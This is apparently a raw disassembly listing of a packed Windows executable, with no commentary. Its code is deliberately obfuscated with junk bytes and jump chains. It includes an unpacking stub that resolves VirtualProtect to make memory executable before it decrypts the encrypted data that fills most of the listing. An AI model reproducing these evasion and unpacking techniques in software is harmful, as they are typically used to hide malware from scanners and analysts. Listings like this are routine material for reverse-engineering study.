loc_428DD9: ; CODE XREF: DMN0:loc_428DCCj
jmp short loc_428DDD
; ---------------------------------------------------------------------------
db 64h
; ---------------------------------------------------------------------------
scasb
loc_428DDD: ; CODE XREF: DMN0:loc_428DD9j
add ecx, 514Bh
loc_428DE3: ; CODE XREF: DMN0:00429392j
jmp short loc_428DF4
; ---------------------------------------------------------------------------
test byte ptr [eax+565DA39Fh], 0CAh
xor dl, [ecx+54h]
mov ecx, 341A00DCh
loc_428DF4: ; CODE XREF: DMN0:loc_428DE3j
jmp short loc_428E02
; ---------------------------------------------------------------------------
dw 0CC0Dh
dd 0DFDEF10h, 0D9F03FE0h
db 0Ah, 81h
; ---------------------------------------------------------------------------
loc_428E02: ; CODE XREF: DMN0:loc_428DF4j
neg ebx
not esi
jmp short loc_428E0D
; ---------------------------------------------------------------------------
dd 9BDB8082h
; ---------------------------------------------------------------------------
aaa
loc_428E0D: ; CODE XREF: DMN0:00428E06j
xchg ebx, esp
neg edx
bswap esi
xchg ebx, edx
jmp short loc_428E21
; ---------------------------------------------------------------------------
db 17h
dd 88E6EC1Fh, 9CCC8F48h
db 20h
; ---------------------------------------------------------------------------
loc_428E21: ; CODE XREF: DMN0:00428E15j
jmp short loc_428E29
; ---------------------------------------------------------------------------
db 0B6h
dd 4B937288h
db 0
; ---------------------------------------------------------------------------
loc_428E29: ; CODE XREF: DMN0:loc_428E21j
bswap esi
bswap esi
jmp short loc_428E3C
; ---------------------------------------------------------------------------
db 79h
; ---------------------------------------------------------------------------
movsd
xchg eax, esi
and al, 0
dec esi
push edx
icebp
clc
dec eax
push es
movsd
push ss
loc_428E3C: ; CODE XREF: DMN0:00428E2Dj
jmp short $+2
jmp short loc_428E56
; ---------------------------------------------------------------------------
popf
scasd
push 0CE5DD9B4h
mov bl, 26h
cmp bl, [ecx+ebp*8+4CB0BCB9h]
rcr ebx, 82h
leave
and edi, esp
loc_428E56: ; CODE XREF: DMN0:00428E3Ej
cld
jmp short loc_428E5F
; ---------------------------------------------------------------------------
xchg eax, esp
test eax, 1275BDA5h
loc_428E5F: ; CODE XREF: DMN0:00428E57j
jmp short loc_428E64
; ---------------------------------------------------------------------------
db 76h, 16h, 71h
; ---------------------------------------------------------------------------
loc_428E64: ; CODE XREF: DMN0:loc_428E5Fj
mov edx, eax
jmp short loc_428E72
; ---------------------------------------------------------------------------
dd 0A174007h, 794FC58Ah
db 2 dup(20h)
; ---------------------------------------------------------------------------
loc_428E72: ; CODE XREF: DMN0:00428E66j
jmp short loc_428E8C
; ---------------------------------------------------------------------------
dd 0D1603E9Eh, 1E613113h, 0E4AC42DBh, 0C4BD55Ah, 275ECBA1h
dd 16F80DBFh
; ---------------------------------------------------------------------------
loc_428E8C: ; CODE XREF: DMN0:loc_428E72j
cmc
xchg ebx, ecx
add edx, edi
jmp short loc_428E9E
; ---------------------------------------------------------------------------
db 65h
dd 83A87349h, 0FEDD7455h
; ---------------------------------------------------------------------------
push eax
push ss
loc_428E9E: ; CODE XREF: DMN0:00428E91j
xor ecx, 2CA099FDh
jmp short loc_428EA9
; ---------------------------------------------------------------------------
dw 2AD0h
db 8Ah
; ---------------------------------------------------------------------------
loc_428EA9: ; CODE XREF: DMN0:00428EA4j
xchg ebp, edi
jmp short loc_428EC4
; ---------------------------------------------------------------------------
db 6Eh, 46h, 38h
; ---------------------------------------------------------------------------
test bh, bh
retn 0AD10h
; ---------------------------------------------------------------------------
db 0F0h, 8Ah, 7Fh
dd 0A6A00023h, 2B3220DDh, 45FFD1A6h
; ---------------------------------------------------------------------------
loc_428EC4: ; CODE XREF: DMN0:00428EABj
jmp short loc_428EDA
; ---------------------------------------------------------------------------
dw 3910h
dd 0C0E6DFDCh, 596C5B6Fh, 4B06F65Ch, 0D8D7D47Fh
db 2Fh, 18h
; ---------------------------------------------------------------------------
loc_428EDA: ; CODE XREF: DMN0:loc_428EC4j
jmp short loc_428EE6
; ---------------------------------------------------------------------------
push 0C87F39F8h
mov edx, 0DD1620Bh
loc_428EE6: ; CODE XREF: DMN0:loc_428EDAj
bswap esi
clc
xchg ebp, ebp
jmp short loc_428F0B
; ---------------------------------------------------------------------------
db 0ECh, 2Bh, 1Ch
dd 0FDB245C6h, 9AF20E1Fh, 0AE49761Bh, 0E464A00Bh, 35DAB48Eh
dd 98D286A2h
db 12h, 7Ch, 0D9h
; ---------------------------------------------------------------------------
loc_428F0B: ; CODE XREF: DMN0:00428EEBj
jmp short loc_428F28
; ---------------------------------------------------------------------------
db 6Eh, 8Bh, 3
; ---------------------------------------------------------------------------
cmp eax, 59AC1BDFh
mov eax, 2DBD8362h
cwde
mov ebp, 0ACCDE1A0h
mov dword ptr [ebp-42h], 3D645F25h
scasb
loc_428F28: ; CODE XREF: DMN0:loc_428F0Bj
mov esp, [edx]
jmp short loc_428F34
; ---------------------------------------------------------------------------
dd 0F8D05212h, 0B0749434h
; ---------------------------------------------------------------------------
loc_428F34: ; CODE XREF: DMN0:00428F2Aj
dec esi
stc
jmp short loc_428F3B
; ---------------------------------------------------------------------------
db 0F6h, 98h, 36h
; ---------------------------------------------------------------------------
loc_428F3B: ; CODE XREF: DMN0:00428F36j
jmp short loc_428F52
; ---------------------------------------------------------------------------
db 55h, 0E5h, 36h
dd 69C924E2h, 45553D69h, 0EF40D974h, 10173FDCh
; ---------------------------------------------------------------------------
sub al, 78h
loc_428F52: ; CODE XREF: DMN0:loc_428F3Bj
add ecx, 1263C87Ah
xor esp, [edi]
jmp short loc_428F76
; ---------------------------------------------------------------------------
dd 8ECD2465h, 0FC7D34CCh, 11A383E5h, 2E3016DBh, 9D3D7695h
dd 0DF05399Ch
; ---------------------------------------------------------------------------
fldcw word ptr [ebx]
loc_428F76: ; CODE XREF: DMN0:00428F5Aj
jmp short loc_428F82
; ---------------------------------------------------------------------------
dd 8A2FA587h, 0CDBEF098h
db 5Eh, 0CAh
; ---------------------------------------------------------------------------
loc_428F82: ; CODE XREF: DMN0:loc_428F76j
xchg ebp, edx
jmp short loc_428F95
; ---------------------------------------------------------------------------
dw 0EC5Fh
dd 97B4132Fh, 792BAEAEh, 54692FB5h
db 0B2h
; ---------------------------------------------------------------------------
loc_428F95: ; CODE XREF: DMN0:00428F84j
jmp short loc_428F98
; ---------------------------------------------------------------------------
db 0B3h
; ---------------------------------------------------------------------------
loc_428F98: ; CODE XREF: DMN0:loc_428F95j
xchg esp, [edi]
jmp short loc_428FAE
; ---------------------------------------------------------------------------
dd 74258A5Eh, 0DB300B3Ah, 0E0D1B867h, 0E408C794h
; ---------------------------------------------------------------------------
add esp, esi
loc_428FAE: ; CODE XREF: DMN0:00428F9Aj
jmp short loc_428FC6
; ---------------------------------------------------------------------------
dd 0B2414103h, 0A933A5Ch, 0E4D3A9BEh, 2E04A463h, 0D842FD7Eh
; ---------------------------------------------------------------------------
sbb ah, dl
loc_428FC6: ; CODE XREF: DMN0:loc_428FAEj
jmp short loc_428FE6
; ---------------------------------------------------------------------------
dd 0DDA50ECh, 0D528ADC4h, 0EDF06DABh, 0A202AF6Bh, 64C96025h
dd 0B739EB2Ah, 90D4E907h
; ---------------------------------------------------------------------------
push ebp
pop eax
loc_428FE6: ; CODE XREF: DMN0:loc_428FC6j
jmp short loc_428FF1
; ---------------------------------------------------------------------------
dd 0D11D76EEh, 0A0D5FE12h
db 0F3h
; ---------------------------------------------------------------------------
loc_428FF1: ; CODE XREF: DMN0:loc_428FE6j
jmp short $+2
xchg ebx, esp
jmp short loc_42900D
; ---------------------------------------------------------------------------
db 3Eh
; ---------------------------------------------------------------------------
mov byte ptr [eax+308F3E84h], 0F7h
add al, 29h
xor eax, 0FFFFFFDEh
push ss
db 3Eh
xchg eax, esi
retf 702Ah
; ---------------------------------------------------------------------------
mov bl, 63h
inc esi
loc_42900D: ; CODE XREF: DMN0:00428FF5j
clc
jmp short loc_429020
; ---------------------------------------------------------------------------
dd 86C8143Dh, 792ED9A7h, 87231FDEh, 0C97CCB00h
; ---------------------------------------------------------------------------
loc_429020: ; CODE XREF: DMN0:0042900Ej
rcl esi, 20h
jmp short loc_429033
; ---------------------------------------------------------------------------
db 0FEh, 0B9h, 0E9h
dd 0BC9A55CEh, 0DDB167B1h
db 82h, 7Dh, 14h
; ---------------------------------------------------------------------------
loc_429033: ; CODE XREF: DMN0:00429023j
add ebp, 483F126Fh
clc
jmp short loc_429050
; ---------------------------------------------------------------------------
dd 1F2CD907h, 7CC9981Ah, 0F06D00C2h, 1AC38274h, 0ACA55BF7h
; ---------------------------------------------------------------------------
loc_429050: ; CODE XREF: DMN0:0042903Aj
rol ebx, 1
cmc
jmp short loc_429065
; ---------------------------------------------------------------------------
mul byte ptr [esi]
and al, 0B8h
mov dl, 8Dh
sub edi, [ecx-6]
sub al, 0B0h
sahf
std
adc edi, [esi+43h]
loc_429065: ; CODE XREF: DMN0:00429053j
not esi
jmp short loc_429083
; ---------------------------------------------------------------------------
db 3Eh, 76h, 0CEh
; ---------------------------------------------------------------------------
push ebp
inc esi
cmp al, 4Bh
and byte ptr [ebp+274819B5h], 0D9h
jz short loc_4290C0
retn
; ---------------------------------------------------------------------------
dw 94Dh
dd 5ADEE9D3h
db 8Fh, 0C2h, 2Dh
; ---------------------------------------------------------------------------
loc_429083: ; CODE XREF: DMN0:00429067j
add ebx, 0F1533F5Eh
jmp short loc_429098
; ---------------------------------------------------------------------------
db 1Fh
dd 680D090Dh, 73DDB41Dh, 29E732EDh
; ---------------------------------------------------------------------------
loc_429098: ; CODE XREF: DMN0:00429089j
jmp short loc_4290A0
; ---------------------------------------------------------------------------
dw 8CCFh
; ---------------------------------------------------------------------------
push ebp
inc esi
jge short near ptr byte_42910D
loc_4290A0: ; CODE XREF: DMN0:loc_429098j
bswap ebp
test ebp, 6A3439A9h
xchg ebx, [edi]
jmp short loc_4290BC
; ---------------------------------------------------------------------------
dd 86361912h, 0D468E60Eh, 28DD8897h, 0DDDCA39Ah
; ---------------------------------------------------------------------------
loc_4290BC: ; CODE XREF: DMN0:004290AAj
inc ebp
cmc
bswap esi
loc_4290C0: ; CODE XREF: DMN0:00429077j
jmp short loc_4290CD
; ---------------------------------------------------------------------------
retf 86E8h
; ---------------------------------------------------------------------------
lodsb
adc eax, 5847F7F6h
dec ebp
cld
loc_4290CD: ; CODE XREF: DMN0:loc_4290C0j
jmp short loc_4290E5
; ---------------------------------------------------------------------------
db 0D6h
dd 0A743D063h, 752A1378h, 0F9A8CA2Ah, 6FD0A613h, 7D290789h
db 0D3h
; ---------------------------------------------------------------------------
loc_4290E5: ; CODE XREF: DMN0:loc_4290CDj
xchg esi, ebx
jmp short loc_4290EE
; ---------------------------------------------------------------------------
db 5Ah, 0B8h, 1Ah
db 44h, 2Eh
; ---------------------------------------------------------------------------
loc_4290EE: ; CODE XREF: DMN0:004290E7j
jmp short loc_429109
; ---------------------------------------------------------------------------
dd 2D5F1B60h, 3B529E68h, 0A59A8ED1h, 6FCEF497h, 0C72F48A3h
dd 0DFE5088Bh
; ---------------------------------------------------------------------------
pusha
loc_429109: ; CODE XREF: DMN0:loc_4290EEj
xchg edx, edi
jmp short loc_42910E
; ---------------------------------------------------------------------------
byte_42910D db 1Ah ; CODE XREF: DMN0:0042909Ej
; ---------------------------------------------------------------------------
loc_42910E: ; CODE XREF: DMN0:0042910Bj
cmc
mov ecx, edi
xchg edx, edi
loc_429113: ; CODE XREF: DMN0:0042918Ej
jmp short loc_42911A
; ---------------------------------------------------------------------------
db 97h, 0E2h, 0CEh
db 4Dh, 0F7h
; ---------------------------------------------------------------------------
loc_42911A: ; CODE XREF: DMN0:loc_429113j
add ecx, eax
jmp short loc_429131
; ---------------------------------------------------------------------------
cmp al, 0B6h
fsubr dword ptr [esi+6Bh]
xchg eax, edx
enter 0FFFF8DD8h, 3Eh
imul esi, [ebp+6], -66h
sub bl, [eax-6Dh]
leave
inc edi
loc_429131: ; CODE XREF: DMN0:0042911Cj
sbb ebp, 0FFB16644h
jmp short loc_429142
; ---------------------------------------------------------------------------
loc_429139: ; CODE XREF: DMN0:0042919Ej
scasb
push ebp
sub ch, al
jmp short loc_4291BB
; ---------------------------------------------------------------------------
db 3Eh
db 0F9h, 2Dh
; ---------------------------------------------------------------------------
loc_429142: ; CODE XREF: DMN0:00429137j
xchg edi, esi
mov [ecx], edi
jmp short loc_42914B
; ---------------------------------------------------------------------------
db 8, 2 dup(49h)
; ---------------------------------------------------------------------------
loc_42914B: ; CODE XREF: DMN0:00429146j
test edi, 9740E56Ah
jmp short loc_429160
; ---------------------------------------------------------------------------
db 49h
dd 0B0607465h, 0DD5F4680h, 69900BC0h
; ---------------------------------------------------------------------------
loc_429160: ; CODE XREF: DMN0:00429151j
jmp short loc_42917F
; ---------------------------------------------------------------------------
dw 7646h
dd 0BD3A8F28h, 6D4E69E3h, 5E15BE0Dh, 0E2D58BF8h, 8C829F49h
dd 4B310292h
db 0A0h, 26h, 6Bh
; ---------------------------------------------------------------------------
loc_42917F: ; CODE XREF: DMN0:loc_429160j
stc
jmp short loc_429187
; ---------------------------------------------------------------------------
dw 3BA4h
db 48h, 35h, 0DEh
; ---------------------------------------------------------------------------
loc_429187: ; CODE XREF: DMN0:00429180j
bswap ecx
jmp short loc_4291A7
; ---------------------------------------------------------------------------
cld
cmp eax, [ebx]
jnp short loc_429113
mov esp, 1EBC4394h
ror dword ptr [esi+35FB0074h], cl
rcr dword ptr [ebp+3Bh], cl
jbe short loc_429139
rcr byte ptr [ebx], 9
or byte ptr [esi+62h], 0DCh
loc_4291A7: ; CODE XREF: DMN0:00429189j
jmp short loc_4291B0
; ---------------------------------------------------------------------------
db 77h, 34h, 71h
dd 19915518h
; ---------------------------------------------------------------------------
loc_4291B0: ; CODE XREF: DMN0:loc_4291A7j
jmp short loc_4291C1
; ---------------------------------------------------------------------------
dw 1D1Fh
; ---------------------------------------------------------------------------
shr dword ptr [esi+ecx*4+25A80A0Bh], 1
loc_4291BB: ; CODE XREF: DMN0:0042913Dj
lahf
sub eax, 0DE6F9985h
loc_4291C1: ; CODE XREF: DMN0:loc_4291B0j
xor edi, 4813B58Ch
jmp short $+2
clc
jmp short loc_4291E1
; ---------------------------------------------------------------------------
dd 85C24D7Fh, 1CF8655h, 1FF7D646h, 53A3A26Dh, 0DB86E0E8h
db 0A1h
; ---------------------------------------------------------------------------
loc_4291E1: ; CODE XREF: DMN0:004291CAj
jmp short loc_4291E9
; ---------------------------------------------------------------------------
db 0EFh
; ---------------------------------------------------------------------------
les edx, [edx+ebp*8]
cmp dh, al
loc_4291E9: ; CODE XREF: DMN0:loc_4291E1j
add edx, 2
jmp short loc_42920D
; ---------------------------------------------------------------------------
dw 3FCEh
dd 94E197F2h, 1D34B774h, 0FD824517h, 63297EC0h, 8D7CBAC8h
dd 71F38CB0h, 0D52CB1D7h
db 29h
; ---------------------------------------------------------------------------
loc_42920D: ; CODE XREF: DMN0:004291ECj
jmp short loc_42921A
; ---------------------------------------------------------------------------
db 0D2h
dd 0CA860036h, 0A7FA38DAh
db 55h, 25h
; ---------------------------------------------------------------------------
loc_42921A: ; CODE XREF: DMN0:loc_42920Dj
xchg ebx, edi
jmp short loc_429231
; ---------------------------------------------------------------------------
dw 343Fh
dd 9AEA31BAh, 37A11876h, 8B2B0572h, 0C22FF038h
; ---------------------------------------------------------------------------
inc eax
loc_429231: ; CODE XREF: DMN0:0042921Cj
jmp short loc_42923F
; ---------------------------------------------------------------------------
sal dword ptr [edi+79h], 0AAh
mov esi, 0E2985E1Bh
pop edi
sbb edi, esi
loc_42923F: ; CODE XREF: DMN0:loc_429231j
std
jmp short loc_429259
; ---------------------------------------------------------------------------
daa
cmp dword ptr [edx], 5
mov bl, 0B4h
mov esi, 2A72B322h
or bh, ch
xor dh, bh
db 36h
cli
lds ebx, [ebp-362B618Fh]
loc_429259: ; CODE XREF: DMN0:00429240j
inc edx
jmp short loc_42926B
; ---------------------------------------------------------------------------
sub ch, dl
cmp [eax], bh
pop ds
fdiv dword ptr [edx]
retf
; ---------------------------------------------------------------------------
dd 1162E48Eh
db 55h, 16h, 18h
; ---------------------------------------------------------------------------
loc_42926B: ; CODE XREF: DMN0:0042925Aj
xchg esp, ebx
jmp short loc_429280
; ---------------------------------------------------------------------------
db 0D5h
dd 7C15D43Ch, 0E633DD20h, 9B69C536h, 36E7D48Ah
; ---------------------------------------------------------------------------
loc_429280: ; CODE XREF: DMN0:0042926Dj
jmp short loc_429283
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_429283: ; CODE XREF: DMN0:loc_429280j
jmp short loc_42929B
; ---------------------------------------------------------------------------
db 0Ah, 4Ah, 67h
dd 9C0240F6h, 4A7FCFC1h, 743F2C4Ch, 466F8070h
db 6, 67h, 0D5h
; ---------------------------------------------------------------------------
loc_42929B: ; CODE XREF: DMN0:loc_429283j
jmp short loc_4292AE
; ---------------------------------------------------------------------------
db 3Dh, 51h, 0B3h
dd 8CB18DEEh, 2944E809h, 9584EB81h
db 0Eh, 1Ah
; ---------------------------------------------------------------------------
loc_4292AE: ; CODE XREF: DMN0:loc_42929Bj
std
xchg edx, ebx
jmp short loc_4292BB
; ---------------------------------------------------------------------------
db 0EFh
dd 7EAA57DEh
; ---------------------------------------------------------------------------
test al, 0B9h
clc
loc_4292BB: ; CODE XREF: DMN0:004292B1j
test ebp, 36B99957h
jmp short loc_4292C5
; ---------------------------------------------------------------------------
jnz short loc_4292D8
loc_4292C5: ; CODE XREF: DMN0:004292C1j
jmp short loc_4292D0
; ---------------------------------------------------------------------------
db 0A5h
dd 6DA05BDCh, 5B8B9A70h
; ---------------------------------------------------------------------------
loc_4292D0: ; CODE XREF: DMN0:loc_4292C5j
inc ebx
jmp short loc_4292E6
; ---------------------------------------------------------------------------
db 0E3h
dd 9CEC08A0h
; ---------------------------------------------------------------------------
loc_4292D8: ; CODE XREF: DMN0:004292C3j
scasb
push 66865D24h
bswap ebp
scasd
out 0A8h, al ; Interrupt Controller #2, 8259A
sub bl, [edx]
aaa
loc_4292E6: ; CODE XREF: DMN0:004292D1j
cmc
xchg esp, esi
jmp short loc_429300
; ---------------------------------------------------------------------------
db 56h
dd 0E2281677h, 6D833BFAh, 90B53495h, 70DDD99Dh, 0A2FE002Dh
; ---------------------------------------------------------------------------
loc_429300: ; CODE XREF: DMN0:004292E9j
jmp short loc_42930E
; ---------------------------------------------------------------------------
dw 0E99Dh
dd 0A949F2ACh, 0A81EE0BDh
db 81h, 0A2h
; ---------------------------------------------------------------------------
loc_42930E: ; CODE XREF: DMN0:loc_429300j
jmp short loc_429327
; ---------------------------------------------------------------------------
dd 7F702580h, 8548FB51h, 69B8147Ah, 339F5DFFh, 6D46743Eh
db 2Dh, 7Eh, 2Ch
; ---------------------------------------------------------------------------
loc_429327: ; CODE XREF: DMN0:loc_42930Ej
sub edx, 1
jz short loc_429397
jmp short loc_429343
; ---------------------------------------------------------------------------
dw 5CC7h
dd 2FE216D2h, 78C7C2Eh, 48F586BFh, 4FB80FA9h
db 50h, 2Eh, 0C7h
; ---------------------------------------------------------------------------
loc_429343: ; CODE XREF: DMN0:0042932Cj
jmp short loc_429348
; ---------------------------------------------------------------------------
db 0AEh, 0C0h, 19h
; ---------------------------------------------------------------------------
loc_429348: ; CODE XREF: DMN0:loc_429343j
xchg edi, ebx
cld
jmp short loc_429368
; ---------------------------------------------------------------------------
mov esi, 128B2E8Eh
push ebx
icebp
dec esp
xor esi, edx
pop ds
rol dh, 1
retf
; ---------------------------------------------------------------------------
db 2Ch
dd 53E8804Eh, 448DBBC9h, 6D48B9E4h
; ---------------------------------------------------------------------------
loc_429368: ; CODE XREF: DMN0:0042934Bj
jmp short $+2
xchg ecx, edx
stc
jmp short $+2
std
stc
dec edx
jmp short loc_42938B
; ---------------------------------------------------------------------------
dd 417AB35Eh, 9F830251h, 9BEB96F4h, 752C4DAh, 9F1238EAh
db 0E7h, 1Bh, 0F9h
; ---------------------------------------------------------------------------
loc_42938B: ; CODE XREF: DMN0:00429372j
not esi
bswap esi
cld
xchg ebp, esp
jmp loc_428DE3
; ---------------------------------------------------------------------------
loc_429397: ; CODE XREF: DMN0:0042932Aj
xchg ebp, eax
jmp short loc_42939C
; ---------------------------------------------------------------------------
db 10h
; ---------------------------------------------------------------------------
loc_42939C: ; CODE XREF: DMN0:00429399j
jmp short loc_4293A9
; ---------------------------------------------------------------------------
dw 0B5CDh
; ---------------------------------------------------------------------------
scasb
retn
; ---------------------------------------------------------------------------
stc
std
pop edx
retf 272Eh
; ---------------------------------------------------------------------------
db 0CAh
; ---------------------------------------------------------------------------
loc_4293A9: ; CODE XREF: DMN0:loc_42939Cj
jmp short $+2
bswap eax
jmp short loc_4293C4
; ---------------------------------------------------------------------------
db 40h
dd 0E636B758h, 678C438Dh, 781DD269h, 55BE452Dh, 9DC8413Bh
; ---------------------------------------------------------------------------
loc_4293C4: ; CODE XREF: DMN0:004293ADj
jmp short loc_4293E0
; ---------------------------------------------------------------------------
dw 812Eh
dd 2C461FDCh, 7B7BB76Ah, 8A66944h, 703CE21h, 0FD3839A0h
dd 15787FA0h
; ---------------------------------------------------------------------------
loc_4293E0: ; CODE XREF: DMN0:loc_4293C4j
jmp short loc_4293E3
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4293E3: ; CODE XREF: DMN0:loc_4293E0j
std
jmp short loc_4293FA
; ---------------------------------------------------------------------------
and al, 0D9h
cmp [edx+60A350A2h], eax
dec eax
retf 585Ah
; ---------------------------------------------------------------------------
dw 8DD5h
dd 28EA5DCFh
db 0F7h, 4Fh
; ---------------------------------------------------------------------------
loc_4293FA: ; CODE XREF: DMN0:004293E4j
jmp short loc_429408
; ---------------------------------------------------------------------------
dd 0D8718E8Eh, 0BFD0DAAh, 54353AA8h
; ---------------------------------------------------------------------------
loc_429408: ; CODE XREF: DMN0:loc_4293FAj
std
jmp short loc_429413
; ---------------------------------------------------------------------------
db 0E2h
dd 5B47FC76h
db 6Dh, 0A9h, 82h
; ---------------------------------------------------------------------------
loc_429413: ; CODE XREF: DMN0:00429409j
jmp short loc_429423
; ---------------------------------------------------------------------------
db 0A9h, 96h, 8Ah
dd 4623B2D2h, 0F84CA752h
db 44h, 0EFh, 69h
; ---------------------------------------------------------------------------
loc_429423: ; CODE XREF: DMN0:loc_429413j
jmp short loc_42943B
; ---------------------------------------------------------------------------
db 0DEh, 24h, 0A5h
dd 0D200088Fh, 79AADB53h, 864DBF27h, 0F2FECF57h
db 2Fh, 0C2h, 72h
; ---------------------------------------------------------------------------
loc_42943B: ; CODE XREF: DMN0:loc_429423j
pop edi
jmp short loc_429444
; ---------------------------------------------------------------------------
dw 3D6Eh
dd 6AACA79Bh
; ---------------------------------------------------------------------------
loc_429444: ; CODE XREF: DMN0:0042943Cj
not edi
std
jmp short loc_429459
; ---------------------------------------------------------------------------
db 0A1h, 0E6h, 3Eh
dd 25696594h, 9A0F742Ah, 86EEB4CDh
db 0CCh
; ---------------------------------------------------------------------------
loc_429459: ; CODE XREF: DMN0:00429447j
jmp short loc_42946E
; ---------------------------------------------------------------------------
db 0Dh
dd 87996C42h, 75661889h, 870C5550h, 18E0E74Fh
db 1, 75h
; ---------------------------------------------------------------------------
loc_42946E: ; CODE XREF: DMN0:loc_429459j
jmp short loc_42948B
; ---------------------------------------------------------------------------
dd 952C2F85h, 0A37E4B40h, 4031B81Fh, 639273EAh, 9DC24203h
dd 2738DD33h
db 0B8h, 8Ch, 94h
; ---------------------------------------------------------------------------
loc_42948B: ; CODE XREF: DMN0:loc_42946Ej
jmp short loc_4294AB
; ---------------------------------------------------------------------------
db 0CEh, 42h, 60h
dd 0CCC74736h, 1FB8DB8Fh, 212E4298h, 0E239732Ch, 3DDF56E3h
dd 0D06A91FDh
db 0F0h, 90h
db 0B5h
; ---------------------------------------------------------------------------
loc_4294AB: ; CODE XREF: DMN0:loc_42948Bj
bswap esi
jmp short loc_4294C6
; ---------------------------------------------------------------------------
scasb
retf 0FAD7h
; ---------------------------------------------------------------------------
mov ebx, 2E7D4F20h
inc edx
rsqrtps xmm5, oword ptr [ecx-5Ah]
pop ebx
inc esp
mov ds:97C9EE40h, al
adc ah, [edi]
loc_4294C6: ; CODE XREF: DMN0:004294ADj
jmp short loc_4294C9
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
loc_4294C9: ; CODE XREF: DMN0:loc_4294C6j
jmp short loc_4294E6
; ---------------------------------------------------------------------------
db 0FEh
dd 0F558A039h, 49BBF9EAh, 46E19666h, 0D3E4EBD8h, 0FE7658F0h
dd 0C9335FEBh
; ---------------------------------------------------------------------------
xchg eax, esp
cli
loc_4294E6: ; CODE XREF: DMN0:loc_4294C9j
jmp short loc_4294E9
; ---------------------------------------------------------------------------
db 8Eh
; ---------------------------------------------------------------------------
loc_4294E9: ; CODE XREF: DMN0:loc_4294E6j
jmp short loc_429505
; ---------------------------------------------------------------------------
db 0F4h
; ---------------------------------------------------------------------------
scasd
sbb bh, [esi]
push edi
xchg eax, edx
push ss
mov esi, ebp
icebp
pop edx
retf 960Bh
; ---------------------------------------------------------------------------
db 1Ah, 0Fh, 0F2h
dd 65FE2792h, 0E462F992h
db 0A8h
; ---------------------------------------------------------------------------
loc_429505: ; CODE XREF: DMN0:loc_4294E9j
std
jmp loc_4286EE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42950B proc near ; CODE XREF: DMN0:00429575p
var_24 = dword ptr -24h
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor edx, 31333936h
xor edx, 6AAD93DBh
mov eax, 10000000h
add edx, eax
add esp, 10h
mov ebp, [esp-10h+arg_4]
push edx
pusha
push 0
lea edx, [esp+18h+var_18]
push edx
push 40h
push 150B3h
add [esp+24h+var_24], 1000h
push eax
add eax, 1000h
add eax, 46023h
call dword ptr [eax]
add esp, 4
popa
retn
sub_42950B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, 8000h
mov edx, 6F49755Ah
mov eax, 3F0F5031h
loc_429565: ; CODE XREF: DMN0:00429572j
add eax, 276D6A46h
xor edx, eax
add dx, ax
rol edx, 7
loop loc_429565
push eax
call sub_42950B
leave
retn
; ---------------------------------------------------------------------------
dd 37h dup(0)
dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
dd 506C6175h, 65746F72h, 7463h, 0E000470h, 470h, 6B000000h
dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
dd 0FFFFFFFFh, 4702Bh, 4701Fh, 5 dup(0)
dd 46000h, 10h, 30C6h, 5E4Fh dup(0)
DMN0 ends
; Section 2. (virtual address 00041000)
; Virtual size : 0002C7B2 ( 182194.)
; Section size in file : 0002C7B2 ( 182194.)
; Offset to raw data for section: 00041000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
DMN1 segment para public 'CODE' use32
assume cs:DMN1
;org 441000h
assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing
dd 0AED3BBDBh, 533257Bh, 8548BA23h, 71F6569h, 7FD2CE2Fh
dd 5A321F65h, 0FD8876DFh, 3BA2CA25h, 42F58B31h, 0F8BAAA7Dh
dd 0A6E48317h, 9BEB4A4Eh, 0BF09B01Ch, 0CF642FA2h, 91BE571Ch
dd 99F48533h, 0A3084848h, 4B702061h, 50A98C83h, 3CBB7053h
dd 676E8AEh, 1E0D6360h, 0E8E5A4D6h, 8848A542h, 0DAB0141Ch
dd 0EB839CC9h, 8C64390Ch, 0CF08DD92h, 8FAC066Bh, 2D47B293h
dd 0F68EC5BFh, 0EBC73BC4h, 8A61ECB5h, 8F9FB56Dh, 29364F88h
dd 7072A701h, 7F3879D5h, 9199311h, 8CD1052h, 7E80161Ah
dd 0DF2E5AB2h, 0CF0A1042h, 0D8DCFAB3h, 0ECCC2EC8h, 0F1F9DC89h
dd 9B52526Ch, 74DB0760h, 0D68DC89h, 0EEEEEA44h, 7EE1DBCh
dd 0EEF4008h, 3C70CE56h, 5A5FC08Fh, 1542559Eh, 0F00C2D45h
dd 13F08B0h, 5F23F5D1h, 76F65B31h, 0C8C58DEAh, 0C4B485Dh
dd 3FF92132h, 0FA6DEEBh, 0A0ED0EE6h, 28DF54ADh, 216F4E65h
dd 0B48575F4h, 53DFFADFh, 31FF0F2Bh, 9F08AD6Bh, 0DDBC91BBh
dd 65895B87h, 0D3A497A4h, 7328FF40h, 0FB42F80h, 0FAF9789Ah
dd 770F0CCFh, 1E4D0F8Fh, 0CD6DE4A6h, 5ADD0FAAh, 5B00242Eh
dd 967C06DBh, 0AF4BD2CBh, 0CAF2168h, 7ECB8453h, 6FEFFDCFh
dd 84097FDEh, 0C211DB79h, 9D2877F5h, 228F8DADh, 0AE09BBEBh
dd 9943E8DFh, 0F1726B66h, 0B4176A8Ah, 3ED2A8C6h, 0B6FDBDB0h
dd 3E4D87E5h, 0F47CB840h, 1B7E6DD7h, 2F0FBDDBh, 50BA3E13h
dd 0B1884C6Fh, 0C1DDC3A2h, 0B332DCA7h, 0FF2798B7h, 84ECF2CEh
dd 0EF6B093Fh, 823FA586h, 0C22D3E7Fh, 1595C558h, 0EC52A3ECh
dd 95AD941Bh, 0AAE84863h, 0ACBAF5B4h, 8DB03679h, 0D559EB24h
dd 0DD37C93Eh, 590D31A3h, 609B8104h, 0B3FA4A33h, 0CBE6AEEAh
dd 890D8FE4h, 9840DF39h, 0A39F0DA6h, 0B46C201Eh, 0EEC05264h
dd 4CA1D906h, 0C5AC6CDCh, 5334274Eh, 9BE0619h, 6B5B45A6h
